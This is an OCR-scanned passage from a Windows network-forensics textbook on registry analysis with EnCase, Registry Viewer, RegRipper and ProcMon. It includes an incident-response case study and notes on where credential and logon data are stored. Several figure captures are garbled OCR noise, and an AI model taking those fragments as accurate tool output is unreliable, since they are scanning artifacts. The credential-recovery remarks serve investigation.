time zone than your current one, you must account for this, to be accurate. If a machine was set for
PST (GMT-08:00) and examined in EST (GMT-05:00), the times will be off by three hours unless the
local machine is set for PST. EnCase allows you to make this adjustment internally at the volume,
disk, or case level so that you can examine and adjust disparate time zones within a uniform context.
If the time zone for the examiner was other than Eastern Daylight Time (GMT-04:00), an adjustment
would need to be made. Time zone information is displayed as a bookmark. Note that the time zone
offset is Eastern Daylight Time, or GMT-04:00, as shown in the following graphic.
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In the registry, time zone information is shown in various values. We explain them in Table 8.5.
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TABLE 8.5: Time zone information stored in the registry
REGISTRY DATA EXPLANATION
Bias Thisis the current offset from GMT when standard time

isineffect. This valueis stored as a 32-bit integer.

DaylightBias Thisis the number of minutes that are either added or
subtracted from the bias during daylight savings time.
Thisvalueis stored as a32-bitinteger.

DaylightName Thisis the name of the daylight savings time zone.

DaylightStart Thisis the date and time that daylight savings time starts
as stored in encoded format. To decode, look for 2-byte
intervals with ooh padding, month, week, hour, minutes,
seconds, milliseconds, and day.

StandardBias Thisis the number of minutes offset from the bias when
standard time isin effect. This is often 0.

StandardName Thisis the Unicode name of the standard time zone.

StandardStart Thisis the date and time that daylight savings time stops
and standard time resumes. To decode, look for 2-byte
intervals with ooh padding, month, week, hour, minutes,
seconds, milliseconds, and day.

TimeZoneKeyName Thisis the name of the current time zone.

DynamicDaylightTimeDisabled Thisindicates whether the computer will automatically
change the system clock according to daylight savings
time.

ActiveTimeBias Thisis the current time zone bias.

The Scan Registry EnScript, located within the Case Processor module, accesses and book-
marks a vast amount of commonly sought information from the registry. Figure 8.14 provides
some indication of the depth of this feature. (Notice the focus on the AutoStart locations in
this example.) Using the AutoStart option, the Scan Registry module lets you determine which
applications and services are configured to run on startup at the machine and user levels by
looking at the common starting locations in the registry. This option is critical in network
investigations.
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ENCASE 7—JUST WHEN YOU THOUGHT IT WAS SAFE TO GO BACK IN THE WATER

EnCase 7, released in June 2011, came with an entirely new user interface. This new interface
required new workflow to be developed, and thus some of the processes we described earlier in
this chapter either don’t work or are not available in EnCase 7. In this sidebar, we’re going to talk
briefly about viewing the registry using EnCase 7. Since the release of this edition of EnCase hap-
pened shortly before this writing, the exact methods used in EnCase 7 may have changed a bit
by the time you read these pages. So, a word of caution that the following information is based
on the EnCase version 7.01.02, and your mileage may vary.
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As of this writing, EnCase version 7 has done away with right-click mounting functional-
ity. Mounting functionality has made its home in the Evidence Processor under the Expand
Compound Files module. The Scan Registry EnScript has been replaced by the System Info Parser
module, where you can choose from some of the same options. Here’s a screen capture showing

the version 7 modules.
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From the Expand Compound Files module you can choose to expand archive files and/or registry

files. For the purposes of the exercises in this chapter, choose Registry only.
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From the System Info Parser module, select the standard Windows features from the Standard
Artifact Collection options, and then from the Advanced Collection options, select only the Auto-
Start features. Notice that the AutoStart module in EnCase 7 looks remarkably similar to the one
in EnCase 6, as shown next. Select the AutoStart module from the Advanced tab.
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After the files have been processed, you can view the files in two different ways. First, navigate
to the registry files, and you’ll notice that there is a green plus sign (+) on the file icon. When a
compound file has been mounted, a green + is visible on its file icon. Clicking a file with a green
+ opens that item for viewing, as if it were its own piece of evidence, as shown next.
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Alternatively, you can bypass the filesystem navigation and just click the View menu and select
the Records option. Once in the Records tab, the tree pane will contain a folder called Registry
and a folder called Evidence Processor Module Results, as shown next.



USINGENCASETOVIEW THEREGISTRY | 243

O ). Bvdenue Processor bodule Resulty
OO Registry

53
L Osiginl Pathy

By selecting the Registry folder from the Records tab, you will be provided with a list of all of
the registry files found in the evidence. Clicking any one of those files enables you to view that
registry file in its entirety, as shown next.
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Assuming that you set the options in the System Info Parser module, selecting Evidence
Processor Module Results will provide a couple of options for you to drill down, namely
into the StandardRegistryKeys option and the AdvancedRegistryKeys option. The
StandardRegistryKeys optionisalisting of keys that the programmers at Guidance Software
have deemed to be important (for example Operating System information, User Accounts, and
Time Zone settings) and the AdvancedRegistryKeys contain the additional options we set in
the System Info Parser module.
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Next is a sample view of the StandardRegistryKeys entry.
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Now, take a look at a sample view of the AdvancedRegistryKeys entry, in this case the results of
the AutoStart key search.
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Here’s how EnCase 7 shows the information from the TimeZoneInformation key from the
StandardRegi stryKeys folderand how the AutoStart keys are shown from the AdvancedRegi stryKeys
folder.
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For further information on the inner workings of the new version of EnCase, have a look at Steve
Bunting’s book, EnCase Computer Forensics: The Official EnCE: EnCase Certified Examiner Study Guide,
Third Edition, from Sybex.
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Using AccessData’s Registry Viewer

AccessData (http://www.accessdata.com/) produces several quality computer forensic appli-
cations, including Forensic Toolkit (FTK), Password Recovery Toolkit (PRTK), and Registry
Viewer. Whereas EnCase views the registry from within its primary forensic tool interface,
AccessData handles the registry in a different manner, providing a separate viewer known as
Registry Viewer. As with anything else, Registry Viewer has advantages and disadvantages,
depending on your perspective or preferences. Our intent here is to provide you with options
and information and let your preferences and resources guide you.

AccessData’s Registry Viewer is an excellent registry-viewing tool and is part of its FTK suite
of tools. However, as a stand-alone tool in demo mode it is free, making it a great option for a
network investigator who may not be a forensic examiner or have access to fully licensed and
functioning forensic tools. To use Registry Viewer, simply download the tool, install it, and
run it. If you aren’t a fully licensed user with a dongle (hardware security key), you'll receive a
warning that there is no dongle, and without it, it will be running in demo mode. If you click
OK on that warning, you'll see the Registry Viewer opening screen shown in Figure 8.15, indi-
cating that it is running in demo mode.

FIGURE 8-15 @AccessData Registry Viewer (Demo Mode) ] ;IEIEI
Registry Viewer Tz UEn Ghp
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DEMO LIMITATIONS

You won’t have access to some of the more powerful features of Registry Viewer in demo mode.
You won’t have the Common Areas feature, which shows the keys that are often of primary evi-
dentiary value (the default selection of these areas is done by AccessData). Finally, you will be
unable to view the Report window or generate reports. Despite these demo limitations, it is still
a very powerful utility, providing a full view of any registry hive file.
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To open a registry hive file, you must first obtain the file. If you are a network-intrusion
investigator, you may get this file during your initial live response, or you may get it later from
your computer forensics examiner. If you are an examiner using AccessData’s FTK 3, you can
right-click any hive file and choose Open In Registry Viewer, as shown in Figure 8.16 (other ver-
sions of FTK work in a similar manner). FTK will then automatically launch the Registry Viewer
application. If you are using Registry Viewer in a stand-alone capacity, you simply launch
Registry Viewer and navigate to any hive file you want to view.

FIGURE 8.16 =+ AceessData Forensic Toolkit Version: 3.4.1.34295 Database: localhost Cases WNF
You can send a
registry hive file
to Registry Viewer
from within FTK by 5 syeen:
right-clicking it. = o View Text s [Wrdons 1252 (Latn 1, A1) =
O arsa =
S0 bo 86
&5 Boot |
B catroot apes
5 L6 eatroot2 Launch in Content Viewer
LV Codelntegrity Open With... v
BHTHED com -
B O o . Create Bookmrk... _'[J
Ce ez - Add bo Bpokmark...
gl T b | _’lJ ‘ Flle Coni| REmove From Bockmarhy
5&|,||”[!—|‘|.i?| Review Labels... Drsplay Time Zone: Eastern Daybght Tme (Fr FEee
B[~ Neme [isbel [mtems  Mountimage toDrive... PSze  |LSze | MoS SHAL
Dl} SOFTWARE 14485 Add Decrypted Fie, . Windo... 23.25M8 23.25MB EC49D... FD942.. i
OE SoFTWARELOG 14486 40968 1024 C2AB3.. C6224...
07 soFTwaARELOGL 14487 View File Sectors... bknown  238.0KB  2B6.5KB  93AGB.. 8FD43.. r
Ol SOFTWARELOG L Fiesl.. 6639  FindonDis... facks... 15368 15368 v
E g] mmll-tlmllllllllllw‘m ‘dd to Fuazy Hash Lirary... = LU . e ;
O stsemio6 -y 4096 10248 E ; 1
l.'ll.ﬂ SYSTEM 101 12431 mﬂmﬂ IBANKR  I9ENKR NSASR  aneRA L';l
Loaded: 41 | Fitered: 41 [Tota: 41 | Exert... Total LSize: £9.66 MB
— Export to Image...
.01 Partton LNONAVE [NTFS] oot WindonsiSysty  PCETRE .
Ready Export Fle List Info... er: [None]

Once you have opened a registry hive file in Registry Viewer, you can navigate its hierarchi-
cal structure; keep in mind that you are looking at an offline registry despite the similarities
to the regedit interface. Figure 8.17 shows an NTUSER. DAT registry hive file open in Registry
Viewer. This file contains the settings that are applied when that user logs on. A useful feature
of Registry Viewer is its display of the Last Written Time for any selected key. In Figure 8.17, this
time stamp can be seen in the lower-left corner under Key Properties. Since the time is stored in
the registry natively in GMT, Registry Viewer avoids local offset issues by simply displaying the
time stamp in UTC, which means Universal Time Coordinated. UTC is the same as GMT and is
also often expressed as Zulu Time. This time stamp can provide valuable evidence in network-
intrusion cases because hacker tools are often installed or run through the registry. Under the
right circumstances, this time stamp can reveal when a tool or service’s subkey was last written
and provide evidence of when a given piece of malware was installed.
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FIGURE 8.17
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Thus far, we have used Registry Viewer in demo mode. It’s impossible to overstate the use-
fulness of the additional features of the fully licensed copy. If you'll need to generate reports or
decrypt data in the protected storage area, you'll need to use a licensed copy. Figure 8.18 shows
the same hive file viewed in a licensed copy. You'll immediately note that some folders have
keys embedded in their icons. These indicate areas that are likely to contain important evidence.
You can switch to the Common Areas view and see only the keys likely to contain significant
evidence or data, as shown in Figure 8.19.
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Another powerful feature that is available in the licensed version of Registry Viewer is the
reporting function. While examining the various keys in the target registry, you can flag whole
keys or primary keys with their subkeys (children) for inclusion in a report. This report can show
some of the decrypted information stored in the registry and present it in clear text. An example
of this is decrypting information that is stored in ROT13, which stands for “rotate by 13 places.”
ROT13 is a simple substitution cipher that requires the person encrypting or decrypting the
message to take whatever letter they are looking at and replace it with the letter that is 13 places
farther down in the alphabet. Data in the User Assist key that tracks the usage of the computer
in terms of the applications launched via the GUI under a given user account is encrypted using
the ROT13 cipher. (We will discuss the User Assist key in more detail in Chapter 9.) Figure 8.20
shows an example of the User Assist data as viewable inside the Registry Viewer interface, and
Figure 8.21 shows the data contained in the Registry Viewer Report.

One large change that occurred with the release of Internet Explorer 7 is the use of the
registry key known as the Protected Storage System Provider (PSSP). In older versions
of Windows (Windows XP and earlier) that used Internet Explorer 6, the licensed version of
Registry Viewer could retrieve passwords or stored strings from the NTUSER.DAT file, and it did
an exceptional job. With the release of Internet Explorer 7, though, this registry key became a
ghost town. The key can still be found in all versions of Windows, but the newer OS releases
(Vista and beyond) have Internet Explorer 7 or 8 installed by default, which means that there
is no data to be found in this key. Instead, the saved username and password form data is
now stored in the IntelliForms registry key located in NTUSER.DAT\Software\Microsoft\
Internet Explorer\IntelliForms. The information stored in this key now requires not only
the user’s password but also the website that the password is used for. While these encryption
issues require additional steps, they are not unbreakable. We will discuss this more in Chapter
9. Figure 8.22 shows the Intel1iForms key in the registry in its encrypted format.
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FIGURE 8.20
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FIGURE 8.21
Registry Viewer’s
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Other Tools

Other tools are available for registry viewing and reporting. Harlan Carvey’s registry-

parsing Perl scripts are available free from his Reg Ripper project site on Google Code
(http://code.google.com/p/regripperplugins/downloads/1ist/), and additional scripts
written by the forensic community are available online as well (http://code.google.com/p/
winforensicaanalysis/downloads/1ist/). A Windows GUI is also now included in the Reg
Ripper download package, which means you can run it in a standard Windows environment or
drop into Perl and do it from the command line. If the command line is your thing, you'll first
need to install Perl for Windows, which is available from http://www.activestate.com. Perl
is open source, and once you've installed it, running the Perl scripts is easy. One thing to note is
that Reg Ripper is not a registry viewer. It is designed to get a particular set of information from
the registry and provide it to you in the form of a text file. It is a targeted information extractor
and is very good at what it does.
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REGISTRY RESEARCH: WHICH KEY VALUE DETERMINES WHETHER REMOTE
DESKTOP IS RUNNING?

It never fails. Almost every day questions are asked on the forensic lists about which registry key
holds information related to a particular application, or how you can tell if a given application
was run on a given user account. Depending on the mood of the masses on any given day, you may
get an answer, or you may see responses that indicate that if you ask Google, your answer will
be forthcoming. A question that seems to come up frequently with the rise in Remote Desktop
exploits is about how to tell if registry Remote Desktop is enabled. So, instead of just answering
that question for you, we’re going to walk you through a process that can help you determine
the answer for yourself. This process holds for all registry-related research and is a great way to
increase your understanding as to what is going on behind the scenes in Windows. To answer this
question, we turn to Process Monitor and toggle this feature on and off. In this manner, we can
find out which key and value make this determination. For this example, we will use Windows 7;
however, you can use any version of Windows beyond Windows XP/2003 since Remote Desktop
was available starting with those versions.

Follow these steps:
1. Start ProcMon.

2. Right-click on the Computer icon on the desktop and choose Properties, and then select
Remote Settings.

3. InProcMon, make sure you are viewing only the registry changes. From the Edit menu, click
Clear Display. From the File menu, make sure events are being captured.

4. Onthe Remote tab, click Allow Connections From Computers Running Any Version Of Remote
Desktop, and then click Apply. This option is disabled by default, so you are enabling Remote
Desktop on this computer.

5. In ProcMon, stop the capture and scroll through the results. The first time that you enable
Remote Desktop, a considerable amount of data will be written to the registry. In order to
reduce the flurry of activity that likely flew past you while doing this task, you can set a
filter. Since we are interested in seeing what registry changes are being implemented, we
can filter based on the Operation field containing the word set. This should show us only
lines that have made a change to the registry rather than merely opening or enumerating
it. Having done that, you should see one key that sticks out. The key of special interest is
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\.Thereisa value in this
key named fDenyTSConnections. If you enabled Remote Desktop, its value will be 0, mean-
ing the Remote Desktop connections are not being denied (typical Microsoft double-speak,
which means that Terminal Server connections are enabled!).

6. If you reverse the process by selecting Don’t Allow Connections To This Computer and then
click Apply again, all the while monitoring with ProcMon, you’ll see this value change to 1,
meaning Remote Desktop connections are being denied.
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7. 1f you want to make certain, you can toggle this feature on and off as often as you like, moni-
toring with ProcMon, and you will see this value change from o (Remote Desktop Disabled) to
1 (Remote Desktop Enabled). Of interest as well is the change that is made to HKLM\SYSTEM\
CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\
FirewallRules. If you review the changes made to this key, you will see Remote Desktop
access through the firewall being enabled and disabled, as you would expect.

8. You may also visit the registry using regedit and watch this occur. You will need to press F5
to refresh the regedit view each time you change the setting.

With this exercise behind you, you are now able to examine any given registry and deter-
mine whether Remote Desktop was enabled or disabled!

@ Real World Scenario

THE DEVIL IS IN THE DETAILS

We’ve spoken at length in this chapter and we will continue in the next about the importance of the
information contained in the registry. In the information we’ve already provided, you’ve likely seen
how the information could be beneficial to your investigations. One item that is often overlooked
is the time stamps associated with the individual registry keys. You’ve seen these time stamps in
almost every screenshot that we’ve presented using Registry Viewer and EnCase. While this piece
of information is often overlooked by investigators, we want to make sure that this point is brought
front and center with the requisite outward flourishes to show how important it is.

We were called onsite to perform an incident response that began with one server exhibiting a
system failure caused by a particular system file. Several antivirus vendors had taken a look at the
malware and provided limited information about its capabilities. What we knew for sure was thata
particular computer had blue-screened ona . sys file and that when that . sys file was examined, it
was found to contain malware that would phone home and provide a reverse shell to the command
and control server across the Internet.

Upon examination of the server, we found the malware and certain filesystem artifacts like date
and time stamps for the file creation, last access, and modification date. But, since date and time
stamps can be manipulated, we looked to the registry for additional information.

When we examined the registry, we found that the file had been run using the graphic user inter-
face—the executable was run from a remote logon session—because we found it in the UserAssist
key. The UserAssist key provides the number of times the executable was accessed and the date
and time of the last access, but it doesn’t tell us anything about the first time the malware was
accessed. In an intrusion investigation, it is often vital to know when the first time malware was
activated on a particular machine. With this information you can look back into server logs and
other external and internal system artifacts to try to determine where the attack came from. For
example, if you are searching through 500 GB of log files that have been aggregated from 5,000
servers, where do you start you search? Our suggestion, and what we do on a regular basis, is to
find an artifact on a known compromised server and then find out some time point of interest and
look to the logs for that time frame.
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In this case, when the malware was activated, it created a service, as is common with most mal-
ware applications. The first time this service started, it created a registry entry in the HKLM\
SYSTEM\SERVICES registry key. Since this malware would never touch this key again, the date
associated with the registry key modification was the date the malware first ran on the server.
Now, even after the antivirus application ate the executable (it wasn’t actually found on this server
by the time we were called in), either by standard AV scanning or by reactive activities by the
client, we still had a record of the malware’s initialization on the server. And since, as of this writ-
ing, we are unaware of any tool that can specifically modify registry time stamps in a malicious
manner, we can tend to lend more credence to the validity of these time stamps—especially when
the servers are running on Network Time Protocol (NTP). The dates found in the entry modified
field associated with the registry keys of interest narrowed down 600 GB of log data to about 1
GB just by time range. With this information we were able to look into the system event logs in a
very narrow time period for events of interest. In this case, the events of interest were a peculiar
service being started and, moments before the malware being executed, a local administrator
account logged in from another server in the network. The fact that the login came from another
server on the network and was followed almost instantaneously by the execution of the malware
led us to believe that the server we were looking at was not patient zero for the intrusion. What it
did give us was another place to look for additional information—the server that logged into the
compromised server. When we got to that other server, we were able to see that the activity on
that server was more complex, with additional malware applications on the box that included,
among other things, network-enumeration tools.

In intrusion response, it’s not all that frequent that you will find a giant Vegas-style neon sign
pointing to the vulnerability that led to the intrusion or even which server was the initial source of
the compromise. Using dates and times associated with registry keys is a great way to determine
timelines, and it’s these timelines that can help narrow your focus enough to find the needle in
the proverbial haystack.

The Bottom Line

Understand the terms keys, values, and hive files, as well as understand how logical keys
and values are mapped to and derived from physical registry hive files. The Windows
registry is a complex database of configuration settings for the operating system, programs,
and users. The database data is stored in several files called hive files. When mounted, the

registry is rendered into a logical structure that can be addressed, called, edited, and so forth.
The Windows operating system provides a utility called regedit, by which the registry can be

viewed, searched, and edited.

Master It From the Run window, type in regedit.exe and press Enter. In the resulting
UL what is the left pane called and what is the right pane called? Is there a registry key
that shows the mounted logical registry keys and their derivative hive files?
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Use different utilities to navigate and analyze both live and offline registries. Many of
the Windows registry keys are derived keys, where a particular key is derived by a pointer
or link to any key. For example, in a live registry, the key HKEY_CURRENT_USER (abbrevi-

ated HKCU) is derived from a link to HKU\SID, where SID is the SID of the current logged-on
user. Another key, HKLM\HARDWARE, is volatile and available only at boot. The registry on a
live machine will differ somewhat from an offline registry, such as that seen in a forensic
environment. In addition to regedit there are other tools that you can use to search, edit, or
analyze the registry. In a forensic environment, you will typically be using a third-party tool,
such as Registry Browser (IACIS), Reg Ripper (Harlan Carvey), Registry Viewer (AccessData),
or EnCase (Guidance Software).

Master It During a network investigation, you want to know which commands your
suspect may have typed from the Run window. Where can you find this information, and
which tool might you use to find it?

Determine which control set is the current control set. As part of the operating system’s
fail-safe features, the OS keeps a copy of the current control set key from the last good logon.
If during boot, the current set being used fails, you have an option of using the one from the
last good logon, which Microsoft calls “last known good configuration.” If you opt to use
this, the current control set from the last good boot will be used instead. When you view an
offline registry, there will be no current control set, and you will have to determine which
control set is current in order to examine the correct or most recent one. When there are just
two options, the task is relatively simple. However, there may be multiple control sets present
on a problem system or one on which the user has been tinkering. Regardless of the under-
lying circumstances, your examination must be accurate, and you must therefore correctly
determine the current control set before examining the information it contains.

Master It During a network investigation, you encounter a registry in which there are
eight control sets. Which control set do you examine as the current control set?

Use ProcMon to conduct basic registry research techniques. ProcMon is a very

useful utility from SysInternals, which is now owned by Microsoft (http://technet
.microsoft.com/en-us/sysinternals/). Among other things, ProcMon allows real-time
monitoring of the system registry. The registry is a very busy place, and ProcMon filters let
you to focus on what is relevant while shielding you from being deluged by what is not.

Master It During an investigation you find that it is significant to determine if deleted
files passed through the Recycle Bin (the default behavior) or if they were deleted imme-
diately without going to the Recycle Bin. You could probably look up the involved regis-
try setting elsewhere, but you suspect you could find it more quickly using ProcMon.






Chapter 9

Registry Evidence

In the previous chapter, we discussed the registry structure and some research techniques.
While pursuing the latter, we showed you that there is considerable potential evidentiary data
in the registry. Sometimes you already have the tools that the intruder used and can test them
to determine their tracings, or footprint, on a victim system. In other cases, you won't have that
luxury, and you'll have to begin by looking for those signs in areas where they are commonly
hidden or using other shortcuts or techniques to locate them.

Every examination is somewhat different, but within a group of attackers, you can find
similarities since they often use shared methodologies and tools. Despite these similarities,
there will be differences because they often experiment on victim machines as they attempt to
sharpen their skills and perfect their craft. If you follow an individual attacker, you'll observe
that his skills will evolve as he progresses from novice to more advanced hacker.

The similarities in techniques and the use of similar yet unique tools allow the investigator
to “fingerprint,” or group, victim machines as likely the work of an individual or group of indi-
viduals. Upon close examination of the evidence, you can even find usernames and passwords
that are quite unique and can be used to link victim hosts to specific intruders. Much of this evi-
dence is located in the registry.

This chapter will cover many of the registry keys that are often found to contain evidence.
As you proceed, keep in mind that you could be examining a victim’s computer, or you could be
examining the intruder’s computer. There will be, unfortunately, many more of the former and
too few of the latter, but there will come a time when the perpetrators are identified and their
machines are subjected to examination. The evidence you are seeking from the victims’ comput-
ers will differ somewhat from what you are seeking on the attackers” machines, but you will be
attempting to link them together. In general, however, you'll be looking for installed software,
configuration information, startup information, usage history of various types, username and
password information, security policies of various types, and other useful information.

In this chapter, you will learn to

¢ Locate and mount Windows XP registry hive files stored in restore points and analyze re-
store point registry settings to determine before-and-after intrusion settings

Use the Volume Shadow Copy Service (VSS) to recover a deleted version of a file
Analyze the NTUSER. DAT file and extract evidence of user activities

Use a utility to decrypt encrypted AutoComplete data from the Intel1iForms registry key
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Determine the user for any given SID on a system

Determine IP addresses used by a computer

Finding Information in the Software Key

The information found in the Software key (HKLM\SOFTWARE) is located in a file named
software, as shown in Figure 9.1. This file is found in the path %SystemRoot%\system32\config
and should not be confused with the Software key found in the HKEY_CURRENT_USER key, abbre-
viated HKCU. The HKLM\SOFTWARE key contains software settings for the local machine, while
HKCU\Software contains software settings that are user specific. Although both are important,
our current focus is on the local machine software settings.

Determine the time zone offset of a machine based on its registry settings

Resolve a live machine’s MAC address to its IP address and its interface GUID

Locate programs and code that automatically start in the Windows environment

FIGURE 9.1 I [= 5
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Installed Software

When programs are installed on a computer, a registry entry is usually associated with that
software installation. Oddly enough, even when software is removed or uninstalled, many reg-
istry entries persist, making the registry, once again, a rich source for evidentiary data. Software
installation entries are varied in both name and location. If you don’t know exactly what you

are looking for, it is best to look in many different locations known to contain information about
software on a system.



FINDING INFORMATION IN THE SOFTWAREKEY

TIP

Remember that software is not required to make registry entries, so just because you don’t find
areference to it in the registry, it doesn’t mean that it doesn’t exist or didn’t exist at one time.

The first location to look at is the root of the Software key itself. Programs located here may
be obvious by their name, or they may be more obscure, being listed under an innocuous or
even bogus company name. Often these bogus names are obvious when you see them, but you
have to look to find them. Figure 9.2 shows two programs of interest (Network Stumbler and
Cygwin), both located in less-than-obvious folders under the root path of HKLM\Software.

=-{22 HKEY_LOCAL_MACHINE
- HARDWARE

FIGURE 9.2
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and Cygwin are
located in innocu-
ous folders under
the root of the
Software key.
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Other locations to examine for software are the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\

HKEY_LOCAL_MACHINE\Software\WOW6432Node
HKU\%SID%\_CLASSES\VIRTUALSTORE\MACHINE\SOFTARE

Where %SID¥% is listed in the previous path, this represents an individual user’s security
identifier. The App Paths key lists the paths to the various installed applications, as shown in
Figure 9.3, and the Uninstall key contains information for program removal.

FIGURE 9.3 =1 Windows
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App Paths. {22 CONF.EXE
{22 dialer.exe
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It is not uncommon to find a program listed in one of these registry areas but not in the other.
For example, the network-sniffing and password-cracking tool Cain & Abel is not seen under C
in either Figure 9.2 or Figure 9.3, yet its uninstall information is clearly listed (Cain & Abel v2.9)

under C of the Uninstall key, as shown in Figure 9.4.

FIGURE 9.4
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Figures 9.2 and 9.3.

' Registry Editor

== )

File Edit View Favorites Help
{0 {ceBeBra0-0E90-4320-4366-35 A | | Hame
{0 {CBXFTEDD-90F-93C1-90FC-F | (o8] Defaut)
{1 {D0543056-C446-4E32-376C-DE [Boispia
O {F10ea687 70384038887 || (G0 e
3 {(EA23971F-2CEE-4FC 860-FF
3 {F41105F3-9216-4908 B7F-25¢
(3 {FB08F381-6533-4108 870003
(] {FCESSCAE-BIER-4FE0-ADI6-EL
(3 {FD951CD4-46004F 32-8304-aE
{2 ABC Amber XML Converter -
{0 AcDsee Trial
[0 AddressBook

Tyoe
REG_SZ
REG_SZ
REG_SZ

Oata
{wahue not set)
Can & Abel v2.9

CPROGRA ~1YCain UNINSTAL EXE C:PROGRA~1'Cain|Instal log

{20 Adobe Photashep 7.0.1

D eczst

) BuletProof Foldersizes 51

=1 be

(33 CO/DVD Inspector

(53 Connection Manager

(2] Diectanmaton

{2 DrectDrawex

{0 oM _Runtme ~/
<1 EXI| £ . J )
My Computer HKEY_LOCAL_MACHINEISOF - ain & Abel v2.9

Starting with Windows Vista, Microsoft starting pushing the principle of least privilege as
it pertains to who and what can write to areas of the registry that would affect the system as
a whole. Applications that play nicely with Windows write user-specific registry information
to the individual user’s registry key (HKCU) instead of making changes to registry settings that
affect the machine as a whole. In many cases, when an application is installed for only one user
on a system, the application writes registry data only to the user’s registry keys.

Since not all applications play nicely with Windows, Microsoft had to find a way to make
older applications work within this new protection principle. Therefore, when users who did
not have administrative permissions tried to install an application that needed to write to sys-
temwide areas of the registry, the write would be redirected to a virtualized registry hive. As
explained in Chapter 8, “The Registry Structure,” this virtualization of various registry keys
allows for the use of the least amount of privilege by storing the registry key changes in a sec-
tion of the registry that is pertinent to only a single user.

Since most computers on the market now support 64-bit processing, more applications,
including Windows, are being written to be 64-bit compliant. When a 32-bit application needs
to be installed on a 64-bit Windows operating system, Windows redirects any registry changes
that would be destined for the HKLM\Software key to the HKLM\Software\WOW6432Node key. WOW
stands for Windows on Windows, and 6432 references that the data under the key is a node that
addresses the 64-bit and 32-bit application compatibility. Essentially, Microsoft wants to seques-
ter registry changes that are responsive to 32-bit applications from those that are responsive to
64-bit applications. In this way, two applications that are different only in that one is 32-bit and
the other 64-bit can exist on the same computer using the same application name and make the
same changes to the registry, and they can do so in peace and harmony.

If determining which software is installed on a computer is important to your investiga-
tion, and it usually is with a network-intrusion case, you will need to look in many locations to
make that assessment. Fortunately, some automated tools can extract that information for you.
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Figure 9.5 shows a segment of the results of running the EnCase Version 6 Windows Initialize
Case EnScript. This feature is available by selecting Sweep Case > Windows Initialize Case

> Software. In EnCase Version 7, the Initialize Case EnScript has been replaced with the
System Info Parser module that we discussed in Chapter 8. With this module, you can select
the Software module and poll for user-installed software. Additionally, the Info Parser module
will pull the standard registry entries, which include the Uninstall key from HKEY_LOCAL _
MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion. Using either the Initialize Case
EnScript in EnCase v6 or the System Info Parser module in EnCase v7, you should get a pretty
comprehensive understanding of the software installed on the computer. In Figure 9.5, you can
see where the program Cain & Abel is extracted from the Uninstall key by the EnScript in
EnCase v6. Figure 9.6 shows the same information as reported by EnCase v7.

AccessData’s Registry Viewer can also produce a quick and simple report showing you the
installed software information contained within the registry using templates known as Registry
Summary Report (RSR) files. These templates can be downloaded from the AccessData website
or can be generated by a knowledgeable user. Figure 9.7 shows the RSR showing data from the
Uninstall key from HKLM\SOFTWARE.

Although tools can automate the process of reporting software, it still takes a skilled inves-
tigator to examine the installed software and determine its significance. If you discover a
suspicious piece of software, often you can locate the executable using the information from
the registry. Once you locate the executable, you can employ any of the methods mentioned in
Chapter 10, “Tool Analysis,” to determine whether the software is malicious code and what its
impact is on the target system.
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In addition to locating installed software, it is usually important to have date and time
information about that software when possible. Often intruders will alter the Modified,
Accessed, Created (MAC) times on their software files, making them appear as though they
have been on the system for months or years. From the preceding chapter, you know that the
registry stores last-written time stamps for various keys. Intruders often overlook these time
stamps. If you can determine when a particular malware software registry key was last writ-
ten, particularly an Uninstall key, you can likely use that information to determine when
the intruder was active on the target system. With that information, you can examine various
logs pertaining to network activity and begin the process of tracking the intruder back to the
source.

@ Real World Scenario

BUYER BEWARE

There is a lot of information floating around on the forensic message boards about dates and times
and how they can be used to determine when something happened. To incident responders this is
often a very important piece of information because it pertains directly to a period of exposure.
This period of exposure can also directly impact the pocketbook of our clients when they have to
pay fines based on information that could have been exfiltrated from their network.

Since we rely on this information so heavily, it’s important to realize the limitations of its usage.
Time stamps are wholly affected by the system clock—shocking, right? If the system clock is
wrong, the time stamps will also be wrong. Many people will point out that Windows has the
ability to sync with an Internet-based time clock and that networks can enforce the Network Time
Protocol, and they are right. There are services within Windows (and other network operating
systems) that can maintain a clock with remarkable precision, but you can’t depend on them
100 percent. Don’t forget, too, that operating systems like Windows Vista and 7 have their last-
accessed-date updating feature disabled by default. Our only caution is this: before you report
on how everything is solved by that one time stamp, take a step back, look at the surrounding
information, look at the time stamps in the filename attributes of the Master File Table (MFT),
look at the registry time stamps, look at the event logs, and look at NTP update frequency and
other artifacts that may show that something in the timeline just doesn’t make sense. And when
you’re ready to move forward, tread lightly.

The AccessData Registry Viewer provides a feature that displays a key’s attributes and,
in particular, the last-written time stamp for that key. (Check out the Key Properties pane.)
Figure 9.8 shows the last-written time stamp in UTC for Cain & Able’s Uninstall key. Because
the Uninstall key is associated with installing the software, you could use this date and time
as an instance when you are relatively certain that your intruder was active on the computer in
question.
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FIGURE 9.8
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Last Logon

When it’s important to determine who last logged on to a system, you should look in a couple
different locations, because Microsoft seems to change its mind as to where the most appropri-
ate location is for this information. In Windows XP, Server 2003, and Windows 7, look in:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

The value DefaultUserName, when present, holds the username of the last user to log on to
Windows so that it can be displayed as the default username for the next logon session. It may
also be important to know whether the last-logged-on user was doing so using a local account,
an account from the local site’s domain, or even an account from some other trusted domain.
This same key contains the value DefaultDomainName, which describes the local or domain
security authority of the last account used to log on. Figure 9.9 shows these keys and values.

You probably noticed that Vista and Server 2008 are conspicuously absent from the list of
operating systems that maintain these values. It appears that with Vista, Microsoft changed its
mind about whether to store this data in this key. Even when present, the data in this key is not
necessarily representative because it does not take into account any Fast User Switching, where
multiple users might be logged in and switching back and forth between profiles.

There is an alternate location to look for the last user logged onto Windows that is a time-
saving alternative to manually traversing the NTUSER.DAT files for each user (Figure 9.10). For
Windows Vista, Server 2008, and Windows 7 look in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\Authentication\LogonUI\SessionData

This key stores data on multiple sessions under the value LoggedOnSAMUser and
LoggedOnUsername and tracks not only logons that occur at the keyboard but also ones that
occur over Remote Desktop Connection (RDC).
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Banners

When investigating a network intrusion, it is often important to determine the presence of and
contents of logon banners that may have been in place. If an intruder tries to interactively log
onto a system, encounters a banner, and continues the logon, the terms specified in the banner
